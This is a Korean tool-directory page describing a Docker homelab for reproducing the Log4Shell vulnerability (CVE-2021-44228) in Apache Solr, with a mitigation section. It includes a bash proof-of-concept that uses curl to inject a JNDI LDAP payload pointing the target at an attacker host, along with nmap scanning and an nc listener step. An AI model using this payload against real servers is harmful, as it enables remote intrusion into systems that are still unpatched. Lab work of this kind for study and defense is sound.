Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
homelab-CVE-2021-44228 — Log4j Vulnerability homelab | Kitploit
도구/GitHubGitHub/ricardo354/homelab-cve-2021-44228
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubricardo354/homelab-cve-2021-44228

homelab-CVE-2021-44228

Log4j Vulnerability homelab

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

홈랩: Apache Solr에서의 Log4Shell (CVE-2021-44228)

Docker를 사용한 통제된 환경으로, Apache Solr에서 Log4Shell 취약점을 재현하고 연구합니다.

환경

  • 대상 (solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) – 취약한 Log4j 버전 실행.
  • 공격자 (kali-lab): 기본 Kali Linux 컨테이너로 nmap, curl, netcat이 사전 설치됨.

랩 실행 방법

1. 컨테이너 초기화

터미널에서 백그라운드 환경을 실행합니다:

root@kitploit:~
docker compose up -d --build

2. Kali (공격자 컨테이너) 접속

root@kitploit:~
docker compose exec -it kali-lab /bin/bash

3. 내부 네트워크 매핑

Kali 컨테이너 내에서 자신의 서브넷을 확인하고 Apache Solr의 IP를 찾습니다:

root@kitploit:~
# 1. 자신의 IP와 서브넷 마스크 확인
hostname -I

# 2. 대상 IP( Solr 포트: 8983)를 찾기 위해 내부 네트워크 스캔
# (아래 서브넷은 이전 명령어에서 얻은 IP에 맞게 변경)
nmap -p 8983 172.20.0.0/24


PoC (개념 증명) 실행

poc.sh 스크립트는 Solr 관리 API의 매개변수에 JNDI lookup 페이로드를 주입합니다.

스크립트 (poc.sh)

root@kitploit:~
#!/usr/bin/env bash

if [ "$#" -lt 2 ]; then
    echo "사용법: $0 <lhost> <rhost> [lport]"
    echo "예: $0 172.20.0.3 172.20.0.2 1389"
    exit 1
fi

KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"

echo "[*] 대상: $TARGET"
echo "[*] 공격자(LDAP): $KALI, 포트 $PORT_KALI"
echo "[*] 익스플로이트 발사..."

curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"

실행

Kali 내에서 스크립트에 권한을 부여하고 올바른 IP를 전달하여 실행합니다:

root@kitploit:~
chmod +x poc.sh
./poc.sh <KALI_IP> <SOLR_IP> 1389

여기서 무슨 일이 일어나나요? Solr가 요청을 처리하고 지정된 포트의 Kali IP로 LDAP 연결을 열려고 시도합니다. 스크립트를 실행하기 전에 Kali에서 빠른 리스너를 열어 이 연결 시도를 모니터링할 수 있습니다 (예: nc -lnvp 1389).


완화 방법

Log4j 2의 결함을 수정하려면:

  • 업데이트: 라이브러리를 안전한 버전(2.15.0 이상 또는 2.17.1 이상)으로 마이그레이션합니다.
  • JVM Format Msg: 2.10에서 2.14.1 사이의 버전에서는 Java 시작 시 -Dlog4j2.formatMsgNoLookups=true 플래그를 추가하여 lookup을 비활성화합니다.
  • 클래스 제거: 업데이트가 불가능할 경우 jar에서 문제가 되는 클래스를 수동으로 제거합니다:
root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

도구 다운로드